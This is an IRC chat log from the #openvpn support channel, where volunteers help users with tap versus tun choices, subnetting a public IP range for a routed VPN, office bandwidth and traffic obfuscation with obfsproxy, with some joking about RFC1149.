07:04 <@ecrist> ask in a torrent channel maybe?
07:04 <@ecrist> we don't really deal with helping people hide traffic
07:05 -!- master_of_master [~master_of@p57B5322D.dip.t-dialin.net] has joined #openvpn
07:05 < nirvannah> sorry but there's no torrent channels in here, maybe you could help me for this one time, wont ask again, please
07:06 <@ecrist> no
07:06 -!- AsadH is now known as zz_AsadH
07:09 -!- zz_AsadH is now known as AsadH
07:16 < nirvannah> and also, do you need to disable netbios to use openvpn?
07:17 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:20 < pekster> Nope. NBNS may have DNS implications to higher-level protocols, but OpenVPN itself doesn't care
07:23 -!- adolfomaltez [~taro@190.62.247.125] has quit [Remote host closed the connection]
07:23 < nirvannah> i edit the .ovpn from my vpn provider, i changed the protocol udp to tcp, why does it still work?
07:25 < pekster> Clearly they support both
07:25 < pekster> !provider
07:25 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
07:25 < pekster> I have zero clue how $insert_provider does business or operates
07:38 -!- nirvannah [~nirv@unaffiliated/nirvana] has quit [Quit: The Man Who Raped The World]
07:39 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
07:40 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
07:41 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 264 seconds]
07:42 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds]
07:44 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
07:52 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
07:59 -!- rob0_ is now known as rob0
08:06 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:14 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
08:19 -!- nickanderson_afk is now known as nickanderson
08:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:39 -!- Pei [pei@2600:3c00::f03c:91ff:feae:5e2d] has left #openvpn []
08:42 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
08:57 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:00 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
09:03 -!- idlecool [~i@sd.gs] has quit [Ping timeout: 264 seconds]
09:04 -!- idlecool [~i@sd.gs] has joined #openvpn
09:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:10 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
09:11 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:22 -!- p3rror [~mezgani@2001:0:53aa:64c:2c98:2140:d607:4551] has quit [Ping timeout: 245 seconds]
09:34 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:34 -!- p3rror [~mezgani@2001:0:53aa:64c:427:2140:d606:7bec] has joined #openvpn
09:36 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
09:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
09:58 -!- p3rror [~mezgani@2001:0:53aa:64c:427:2140:d606:7bec] has quit [Ping timeout: 245 seconds]
10:01 -!- ade_b [~Ade@host-78-65-176-9.homerun.telia.com] has joined #openvpn
10:01 -!- ade_b [~Ade@host-78-65-176-9.homerun.telia.com] has quit [Changing host]
10:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:04 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:12 -!- jthunder [~jthunder@184.151.222.94] has joined #openvpn
10:12 -!- p3rror [~mezgani@2001:0:53aa:64c:14c4:2140:d606:f965] has joined #openvpn
10:15 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
10:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
10:16 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
10:16 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
10:16 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
10:18 -!- p3rror [~mezgani@2001:0:53aa:64c:14c4:2140:d606:f965] has quit [Ping timeout: 245 seconds]
10:19 -!- raidz_away is now known as raidz
10:19 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has joined #openvpn
10:19 -!- ownermint [~owner@72-161-164-75.dyn.centurytel.net] has left #openvpn []
10:26 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:28 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Remote host closed the connection]
10:30 -!- p3rror [~mezgani@2001:0:53aa:64c:20c2:2140:d606:e632] has joined #openvpn
10:34 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:39 < Holiday> argh I feel like I'm running in circles.. I know I have to be making this harder than it really is (of course with the setup the other guy wants maybe it is as hard as I'm making it out to be)
10:45 -!- thermoman [~thermoman@idle.foobar0815.de] has quit [Quit: Bye]
10:45 -!- raidz is now known as raidz_away
10:47 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:49 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 272 seconds]
10:49 -!- AsadH is now known as zz_AsadH
10:51 -!- raidz_away is now known as raidz
10:52 -!- foolove [~foo@192.193.172.174] has joined #openvpn
10:53 < foolove> need help troubleshooting my openvpn connection to my remote vpn service my buddy has the same service and he is using a windows box and his connection works fine i have tried two laptops and my connection will not forward the internet it shows im connected but i can not talk out to the internet
10:54 < foolove> i have tried my setup on two different linux boxes one freshly formatted and i get the same result
10:54 <+EugeneKay> !provider
10:54 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
10:56 -!- foolove [~foo@192.193.172.174] has quit [Client Quit]
10:56 < rob0> hehe
10:56 <+EugeneKay> New favorite factoid
10:56 < rob0> it sure was effective
10:58 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:58 <@dazo> EugeneKay: Another way is just to say: I'll help you if you show me your server config ;-)
11:00 < pekster> I've been amused at the uptick in people trying to "hide" traffic via a VPN. Wonder how long before these business models collapse when courts catch up and get pen/trace taps for recording honeypot hits
11:00 < pekster> Maybe then we can get less spam here :)
11:01 < Holiday> I'm back and know I'm just missing something simple. I haven't tried the modified TUN setup yet (using manual ifconfig instead of server flag in config due to server IP etc).
11:01 < Holiday> So I have a bridge setup, I vpn in using tap, I can ping the server's REAL IP from the client but not the bridge IP or the other physical interface on the box
11:02 < Holiday> (I also loose all connectivity from the client at all, streaming music stops, can't type in the shell to the vpn server etc)
11:02 < Holiday> I know I have to be missing something simple and stupid
11:07 < pekster> bridges are inherently more complicated to set up, so you shoudln't use them unless you actually need it
11:07 < pekster> !tunortap
11:07 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:07 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:10 < Holiday> I know (and TUN was recommended here before) but for our setup tap may be better (maybe not). Either way I'm stuck and I've been banging my head off the wall for the last couple days lol
11:11 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
11:11 < Holiday> I also noticed after I kill the vpn on client side the server side spits out code=111.. at least I have something to work with maybe
11:12 < pekster> The bit about the server's "real IP" vs "bridge IP" suggests you don't understand how bridging actually works
11:13 < pekster> It's all part of the same network when you bridge; the bridge serves the same effective function as a network switch
11:14 < Holiday> sorry I had meant the other adapter IP (yeah I got the bridge part :))
11:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:15 < Holiday> brb
11:16 < pekster> That'll be a firewall problem then if you can't ping your VPN server's IP after connection
11:24 <@dazo> Holiday: in the moment you bridge f.ex. tap0 and eth0 into br0 ... in that moment all general network setup, routing tables and iptables rules needs to be configured to use br0 ... and they must forget whatever they know about eth0 and tap0
11:25 <@dazo> Holiday: if you need to explicitly firewall on bridge devices, then you need to use ebtables
11:25 <@dazo> Holiday: but I still stand by my last comment ... you have most likely no need for tap+bridging at all .... very, very, very few really needs such setups ... and they are complicated and will be challenging to get working
11:26 < Holiday> dazo: I started a TUN config, but wanted to know if instead of the server option if this would be correct
11:26 < Holiday> dazo: push "topology subnet"
11:26 < Holiday> ifconfig 128.118.88.126 255.255.255.0
11:26 < Holiday> ifconfig-pool 128.118.88.127 128.118.88.145
11:27 <@dazo> Holiday: that is public IP addresses .... use private IP addresses for the VPN subnet
11:27 <@dazo> Holiday: I've pointed you at this URL before, I think ... and the network setup for OpenVPN is explained here: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
11:27 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
11:28 < Holiday> dazo: yes I've read that (and I don't want to be a pain in your ass but).. the other guy here insists on using a section of the subnet the phsyical server the VPN is running on for the vpn clients
11:29 <@dazo> Holiday: why? ... that makes absolutely no sense in a routed setup ... and that requirement itself causes just more head-aches
11:29 < Holiday> dazo: I think he reason was initially he was looking to IPsec/L2TP and wanted so see IP's out of this range he had set so he could know where the connections where coming from
11:29 < Holiday> I know
11:30 <@dazo> Holiday: Using a routed setup with a separate VPN network segment, you do see where this traffic comes from
11:30 <@dazo> all network connections from VPN clients will have the VPN clients IP address
11:30 < Holiday> dazo: I'm not 100% sure why he wants that
11:31 <@dazo> (and if you combine that info with the openvpn server log ... you'll even deduct from where that particular VPN client connected over the Internet)
11:31 < pekster> You can still use public IPs on a tun setup
11:31 <@dazo> but you need to be far more careful with routing tables .... otherwise the traffic may escape out on a default gateway
11:32 < pekster> Further, you're free to use a GPL bash script I made avialable that does all the work of accounting for users on dissconnect too:
11:32 < pekster> !accounting
11:32 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
11:32 < pekster> (user, source/VPN IP, durration, bandwidth, etc)
11:32 <@dazo> Holiday: get that guy you're fighting with into this channel ... and we'll talk some sense into him ;-)
11:33 < Holiday> Thank you! Now, while you're both being so helpful.. do you think my bigger issue right now is the public IP's or the TAP lol
11:34 <@dazo> TAP is the biggest issue, no matter how you twist it ... but public IPs on a VPN are just waste of precious public IP addresses ;-)
11:34 < pekster> tap. No one here said using public IPs was a bad idea (if you've got them to spare it can actually make life easier as no NAT is involved for communicationg with DMZ networks that often don't have return-routes for rfc1918)
11:34  * plaisthos did the part of a subpart setup with tun before
11:34 <@plaisthos> using proxy arp
11:34 < Holiday> pekster: that's one thing he's against, NAT and MASQ
11:34 < pekster> Right. So use public IPs
11:35 < Holiday> ok
11:35 < Holiday> so TUN and public
11:35 < pekster> I did that at a shop that had extra /24's lying around, so a /25 of public IPs got routed to our tun-based OpenVPN server for staff
11:36 < Holiday> NOW with the public's being in the same subnet as the VPN server.. is *that* going to give me grief (that's why I was thinking bridged would be easier since they're all in the same subnet)
11:36 <@dazo> Holiday: then just ensure that your openvpn setup uses --topology subnet ... otherwise, each client gets separate /30 subnets (which allocates 4 IP addresses per client)
11:36 < Holiday> Like I've said I've just done simple vpn setups.. not twisted up like this lol
11:36 < Holiday> yes I have:
11:36 < Holiday> push "topology subnet"
11:36 < Holiday> ifconfig 128.118.88.126 255.255.255.0
11:36 < Holiday> ifconfig-pool 128.118.88.127 128.118.88.145
11:36 < pekster> Get the VPN block routed to the VPN server, ideally. plaisthos noted you can use a proxy-arp solution, but that's more messay than it should be
11:37 <@dazo> Holiday: as long as your public IP addresses can be in a separate network segment ... then the rest is routing tables ... and probably some proxy arp
11:37 < Holiday> the .126 being a carry over from the ipsec deal (where the "vpn server host" is to the clients.. unless that should match the interfaces real ip)
11:37 < pekster> Also, using a /24 is probably a waste unless you actually need 253 connected users at once
11:37 < pekster> (if you do a proper routed setup, anyway)
11:37 <@dazo> pekster: look carefully at his ifconfig-pool
11:38 < Holiday> should I switch up the .126 to 129 and change to a /28
11:38 < Holiday> er
11:38 < Holiday> yeah 28 right?
11:38 < Holiday> lol
11:38 < pekster> dazo: Sure, but tun setup with subnet for that puts an implicit /24 on the routing table
11:38 < pekster> That's a problem if part of that /24 is actually a physical LAN somewhere
11:38 < Holiday> it is
11:38 <@dazo> ahh!  Didn't think about that ... yeah, very true!
11:39 < Holiday> the eth0 on that box is 88.5 and the eth1 is 88.120
11:39 < pekster> To re-use that space, that LAN has to be re-numbered (possibly non-trivial)
11:39 < Holiday> so the clients would have IP's that fall in the range of the actual network the vpn server is on
11:40 <@dazo> Holiday: so eth0 is 88.5 and eth1 is 88.120 ... what's their subnet masks?   And what would tun0 be?
11:40 < Holiday> the subnet is 255.255.255.0
11:40 < Holiday> which isn't going to work is it lol
11:40 <@plaisthos> pekster: is quite easy on IOS, never used proxy-arp on anything else
11:40 <@dazo> Holiday: okay ... you need to create a separate network segment for tun0
11:41 <@dazo> Holiday: and I am not convinced you need both eth0 and eth1 .... that sounds ... redundant
11:41 <@dazo> (esp. as they are both on the same public network)
11:41 < Holiday> no no I was just pointing out what the machine has in it
11:41 <@dazo> okay, good ...
11:41 < Holiday> one physical interface for the vpn and one for what we call "access"
11:42 < Holiday> again sorry for this being such a pain, but trust me any notes/suggestions/etc you guys have given are all written down
11:42 <@dazo> Holiday: so ... your setup ... will it be more like the first ASCII art here: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting .... or more like this one: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#UsingroutingandOpenVPNnotrunningonthedefaultgateway
11:42 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
11:43 < Holiday> #2, where only eth1 is used for VPN (not say in eth1 and out eth0)
11:44 < Holiday> so pretty much eth0 has nothing to do with the setup at all
11:44 <@dazo> okay
11:44 < Holiday> (just happens to be in the box and something I check to see if I can ping when I connect)
11:44 <@dazo> then you need to split your 128.118.88.0/24 subnet up ... you need to allocate a separate segment for the VPN tun0 adapter
11:45 <@dazo> the quickest and easiest is to set up 128.118.88.0/25 (255.255.255.128) and 128.118.88.128/25
11:46 < Holiday> NOW I'
11:46 <@dazo> then you decide which half will be for ethX and which one for tun0 (configured via the --ifconfig option)
11:47 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has joined #openvpn
11:47 < Holiday> now, if he decides to go private instead of doing the splitting, I recall I think you mentioned before you could get away with that without nat, correct?
11:48 < MFSOT> Hey all, I'm setting up an openVPN client with pfSense server, I'm trying to convince my boss to go to cable 50/5mbs and he says we're fine with dsl, which I'm not sure what we're even getting on there, but it's all over the place. For a small office of 5 piping in, usually only 2-3 at a time how much bandwidth do you think I need?
11:48 < Holiday> (just throwing that out there so I'm all prepped up for when I pass this along)
11:48 <@dazo> Holiday: you can avoid NAT yes, but then only for internal network traffic ... in the moment you want to go to the public Internet with a public IP, then you need to NAT the VPN traffic
11:49 < Holiday> all we care about as far as I know is accessing the boxes on the .88.x network
11:49 < Holiday> so the same ip range as the vpn box is located
11:50 <@dazo> MFSOT: 50/5 in that setup would be generous ... I have a setup which have peaked at 5-6 people at the same time, with a 10/10 SDSL line ... and nobody noticed anything in regards to performance reduction
11:50 <@dazo> MFSOT: Anyhow, it's the uplink speed you'll notice on the VPN basically
11:51 <@dazo> Holiday: then having a private subnet would be perfectly fine ... then you can just follow the setup of the #1 description ... just replace 192.168.x.x with your public IPs instead
11:51 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has quit [Read error: Connection reset by peer]
11:52 <@dazo> MFSOT probably didn't like that answer ....
11:52 -!- MFSOT [~mfsot@pool-74-106-78-146.spfdma.east.verizon.net] has joined #openvpn
11:52 < Holiday> Dazo: or their dsl from verizon is that flaky there :)
11:52 <@dazo> heh ... true :)
11:52 <@dazo> MFSOT: did you get my replies?
11:53 < Holiday> dazo: I'll follow that and hopefully get this thing finally churning away without having to pick your brain much more lol. Thanks all of you who jumped in earlier with the good info!
11:53 < Holiday> I'll report back and let you know if I set off the halon system or not lol
11:53 <@dazo> Holiday: you're welcome!
11:53 < MFSOT> dazo: ya, I was shooting for the 50/5 for the 5 up
11:53 < MFSOT> next step down is 30/3
11:53 < MFSOT> testing our up right now on dsl
11:54 < MFSOT> dazo: yes, thank you
11:54 <@dazo> goodie!
11:54 < Holiday> mfsot: just curious but what cable co would that be with?
11:54 < MFSOT> well we started out with a whopping 282 ms ping
11:54 < pekster> SDSL might give you more than 5 up (contrast that ot ADSL common on many home nets)
11:54 < MFSOT> a 1.14 down
11:54 < MFSOT> and a .25 up :-/
11:54 < pekster> It's when users save that 15M excell doc that you get hit ;)
11:54 < MFSOT> Holiday: charter - northeast
11:55 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:55 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:55 -!- mode/#openvpn [+o krzee] by ChanServ
11:55 < Holiday> mfsot: okay was just curious (the 50mbps down w/comcast is 10 up, so when I saw east.verizon I wasn't sure who you had to deal with)
11:55 <@dazo> MFSOT: I'd rather put money on a synchronous link than a 50/5 link .... I'd say 5/5 might actually be what you need ... depending on what you have today
11:56 < MFSOT> well the connection will be shared with our physical office
11:56 <@dazo> MFSOT: what do you have now?
11:56 < MFSOT> I'd like more than 5 down
11:57 <@dazo> 10/10 is probably the next logical step then
11:57 < MFSOT> doing some tests on speakeasy and speedtest
11:57 < MFSOT> 6.36/.72
11:57 <@dazo> the site I have with 10/10 SDSL .... that's ~20 people in the office at the same time, plus serving mail and web
11:57 < MFSOT> on both sites :-\
11:57 <@dazo> oh, that .72 is a killer
11:57 < MFSOT> ya this is horrible
11:58 < MFSOT> well I can get 30/3 from charter for the same price
11:58 < MFSOT> dazo: can dsl/verizon up my bandwidth to a custom level?
11:58 <@dazo> don't look yourself blind at the 30 ... asynchronous lines might be shared badly with other clients too
11:59 <@dazo> MFSOT: I dunno ... depends on their equipment and setup .... I'm not in the US, so I have no idea about what they do
11:59 < MFSOT> dazo: I'm more of a sys admin thrust into this roll, I have decent networking skills but not advance, what do man synchronous link?
11:59  * dazo guesses they do whatever to extort as much money out of their customers though
11:59 < pekster> Some providers, depending on equipment, can go 25 Mbps in either direction on DSL. If they do or not is up to them and the equipment/line conditions
11:59 < MFSOT> * dazo is right
11:59 < pekster> Maybe more for the 'latest gen' DSL stuff
12:00 <@dazo> MFSOT: asynchronous means like 30/3 ... not the same speed up and down .... while synchronous is like 5/5 ... where both speeds are the same
12:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:00 < Holiday> Mfsot: yeah, i looked into getting Verizon DSL... it's a joke in my area compared to what say comcast offers (for as "evil" as comcast is)
12:00 < pekster> Actually, 25Mbps is faster than the Comcast here, discounting bursts :\
12:00 <@dazo> synchronous are usually hosted on backends aimed for companies with more critical SLAs
12:01 < Holiday> see if the maybe have FiOS?
12:01 <@dazo> async is what most home users get .... and what have the best prices, but also the backends which is most overcommitted
12:01 <@dazo> (they have 1000 customers on a 1Gbit link, selling them 3-10Mbit downlinks)
12:02 < MFSOT> Holiday - unfortunately in Mass each town contracts with a certain provider and that's what we get stuck with, in my case charter
12:02 < Holiday> yeah, PA is the same way
12:03 < Holiday> But verizon is your phone service in that area, correct?
12:03 < MFSOT> yes
12:03 < MFSOT> that's our dsl provider
12:03 < Holiday> see if they have FiOS in your area
12:03 < MFSOT> oh true
12:03 < Holiday> I don't know how far they got with deploying it before they called it quits, but a crapload better than their DSL
12:03 < Holiday> well
12:03 < Holiday> On paper anyhow, I haven't used it personally :)
12:04 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
12:04 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
12:05 < MFSOT> of course everything needs to run fast and great for no money
12:05 < Holiday> yup! (And on that note lunch)  I'll report back Dazo and let you guys know how it works out
12:05 < pekster> Google Fiber is doing that ;)
12:07 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has joined #openvpn
12:08 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
12:09 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
12:10 < MFSOT> pekster, if only I lived in Kansas
12:11 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:37 <@krzee> move to kansas and ill pay for your google fiber with my colocation fees
12:46 -!- Timmy [~muhammad@unaffiliated/timmyt] has joined #openvpn
12:46 < Timmy>  is openVPN detectable by ISPs or governments? I want to use openVPN services instead TOR because it works faster
12:47 <+EugeneKay> Yes.
12:47 < pekster> In server/client mode, yes. In static key mode it's literally sending random data down the wire, so just the endpoints could be determined, and that "some encrypted data" was being exchanged
12:48 < pekster> However, static keys loose the advantage of perfect forward secrecy, so there is a trade-off
12:55 -!- jthunder [~jthunder@184.151.222.94] has quit [Ping timeout: 272 seconds]
12:56 < Timmy> well i am using the free service of VPNbook, is this stupid?
13:04 -!- jthunder [~jthunder@184.151.222.94] has joined #openvpn
13:08 -!- Timmy_ [~Timmy@37.254.124.113] has joined #openvpn
13:10 -!- Timmy_ [~Timmy@37.254.124.113] has quit [Client Quit]
13:11 -!- Timmy [~muhammad@unaffiliated/timmyt] has quit [Ping timeout: 272 seconds]
13:12 -!- Orbi [~opera@anon-149-22.vpn.ipredator.se] has joined #openvpn
13:16 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 272 seconds]
13:20 <@krzee> !obfs
13:20 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation
13:20 <@krzee> !forget obfs
13:20 <@vpnHelper> Error: 2 factoids have that key.  Please specify which one to remove, or use * to designate all of them.
13:20 <@krzee> !forget obfs *
13:20 <@vpnHelper> Joo got it.
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
13:20 <@krzee> !learn obfs as if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols
13:20 <@vpnHelper> Joo got it.
13:21 <@krzee> !learn obfs as http://community.openvpn.net/openvpn/wiki/TrafficObfuscation
13:21 <@vpnHelper> Joo got it.
13:22 <@krzee> !learn obfs as in client/server mode an admin can know that openvpn is being used.  in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
13:22 <@vpnHelper> Joo got it.
13:22 <@krzee> !forwardsecurity
13:22 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
13:22 <@krzee> there we goes =]
13:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:32 -!- novaflash is now known as novaflash_away
13:33 -!- [p0rk] [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has left #openvpn ["Leaving"]
13:38 -!- novaflash_away is now known as novaflash
13:41 -!- jthunder [~jthunder@184.151.222.94] has quit [Ping timeout: 255 seconds]
13:47 -!- baobeiiii [~baobeiiii@192.73.252.248] has joined #openvpn
13:49 -!- baobeiiii is now known as daniear
13:52 -!- daniear [~baobeiiii@192.73.252.248] has left #openvpn ["Leaving"]
13:55 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
14:00 <@dazo> krzee: I added a simple configuration howto for obfsproxy on the !obfs URL
14:00 <@krzee> awesome!
14:01 <@dazo> it's really simple ... so simple it was almost not worth it .... but some people need it :-P
14:01  * dazo still waits for a few of his patches to be applied upstream ... which adds --daemon and --user/--group features to obfsproxy
14:02 < pekster> I'd be fun to see some of that get more adoption bypassing opressive government filtering and the like
14:02 < pekster> tor doesn't help most users in that situation since it makes no attempt to hide what it is
14:03 < pekster> It'd*
14:03 <@dazo> pekster: obfsproxy has a special TOR mode too ... so it can be used more "integrated" with tor ... but of course, it requires obfsproxy on the tor server side too
14:04 < pekster> Right, but that defeats the purupose of needing tor if you can tunnel out using obfuscation to bypass the opressive firewall in the first place :)
14:04 < pekster> No point layering slow protocols on top, heh
14:05 <@dazo> pekster: well, tor isn't for obfuscation ... that's to make you anonymous
14:06 < pekster> Sure, and I suppose that could still be required in certain cases. I think the most common case of '$firewalled_user wants to visit news sites, facebook, and twitter' doesn't require tor
14:06 <@dazo> agreed
14:06 < pekster> tor is great, but not for regular use :P
14:06 < pekster> Dial-up is faster...
14:06 < pekster> Depending on content anyway
14:07 <@dazo> I'm mostly thinking of whistleblowers, journalists reporting from certain regimes, and people in risk of prosecution who can benefit most from tor
14:07 < pekster> Yea
14:07 < pekster> obfsproxy to get out of the country plus tor on top to protect their identity
14:07 <@dazo> yeah
14:08 <@dazo> and also to hide the tor traffic .... Secret police: "Hey, you're using TOR - you are doing something we don't like" --> "arrest"
14:08 < pekster> Or, really "whatever" to get out. Be it obfsproxy, openvpn with symmetric crypto, or RFC1149
14:09 <@dazo> hehe ... rfc1149 ... that's a good one .... you know someone actually managed to implement it?
14:09 < pekster> Yes
14:09  * dazo is quite impressed by that :)
14:09 < pekster> There have been 2 fairly well-documented implementations
14:09 < pekster> Although the first group did it better
14:10 <@dazo> hehe ... that's the group where Alan Cox was involved?
14:10 < kisom> We had this idea about implementing IP over gunfire
14:10 < kisom> ...didn't happen
14:10 < pekster> http://www.blug.linux.no/rfc1149/
14:11 <@vpnHelper> Title: Bergen Linux User Group (at www.blug.linux.no)
14:11 <@dazo> hahaha .... well, I guess that could be quite an adventure :-p
14:11 <@dazo> pekster: yeah, that's the one with Alan Cox ... http://www.blug.linux.no/rfc1149/vegard_bilder/tn/04preparation_fri_alan.jpg.html
14:11 <@vpnHelper> Title: Album: 04preparation fri alan (at www.blug.linux.no)
14:11 < pekster> Ah, there we go
14:12 < pekster> Yea, he's hard to recoganize unless he's surrounded by ALL CAPS ;)
14:12 <@dazo> hehehehe
14:13  * dazo thinks its about time to go home :)
14:13 < pekster> I like their download too: pidgeonware-0.15.tar.gz
14:13 < pekster> s/d//
14:15 -!- dazo is now known as dazo_afk
14:15 < pekster> Ah, here's the link to the other one: http://www.bsdly.net/~peter/rfc1149-talk/
14:15 <@vpnHelper> Title: The RFC1149 implementation project (at www.bsdly.net)
14:15 < pekster> Circa 2005
14:16 < pekster> Oh, nope, they just wrapped up the old one. Humph, I swear there was another group that followed suit, but I dunno where that went
14:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:36 -!- jthunder_ [~jthunder@184.151.222.94] has joined #openvpn
14:37 -!- jthunder_ is now known as jthunder
14:37 -!- Devastator [~devas@186.214.15.240] has joined #openvpn
14:42 < Holiday> I'm back
14:44 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
14:45 -!- loompek [~noname@unaffiliated/loompek] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
14:46 < Holiday> okay.. I know you guys are ready to kill me, but he's determined to get tap working lol
14:46 -!- Devastator [~devas@186.214.15.240] has quit [Changing host]
14:46 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:47 < Holiday> the VPN is working as a gateway (he re-routed another linux box to use the VPN as it's gateway and he's able to get to machines on the same subnet as well as other subnets) so that's all good
14:47 < Holiday> but I can't do crap when I connect from the openvpn client "built into" centos on my machine here.. it connects, I can ping the vpn server IP as well as my vpn client IP, but nothing else (and my internet connection locks up)
14:48 < Holiday> he can't ping my client IP, but I also notice after I disconnect and the ssh session "revives" I see a lot of ECONNREFUSED: connection refused (code=111)
14:50 < pekster> tap is still a horrible solution for you. You do realize that any VPN client will be able to arp-spoof any other system on that LAN, right?
14:51 < pekster> the connection refused is completely expected when one of the sockets goes down and the peer returns ICMP port-unreach errors
14:51 < Holiday> yeah but he also wants IPv6
14:51 < pekster> openvpn does ipv6
14:51 < Holiday> okay
14:51 < pekster> Without tap
14:51 < Holiday> in 2.3.0
14:51 < pekster> !ipv6
14:51 < Holiday> right
14:51 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
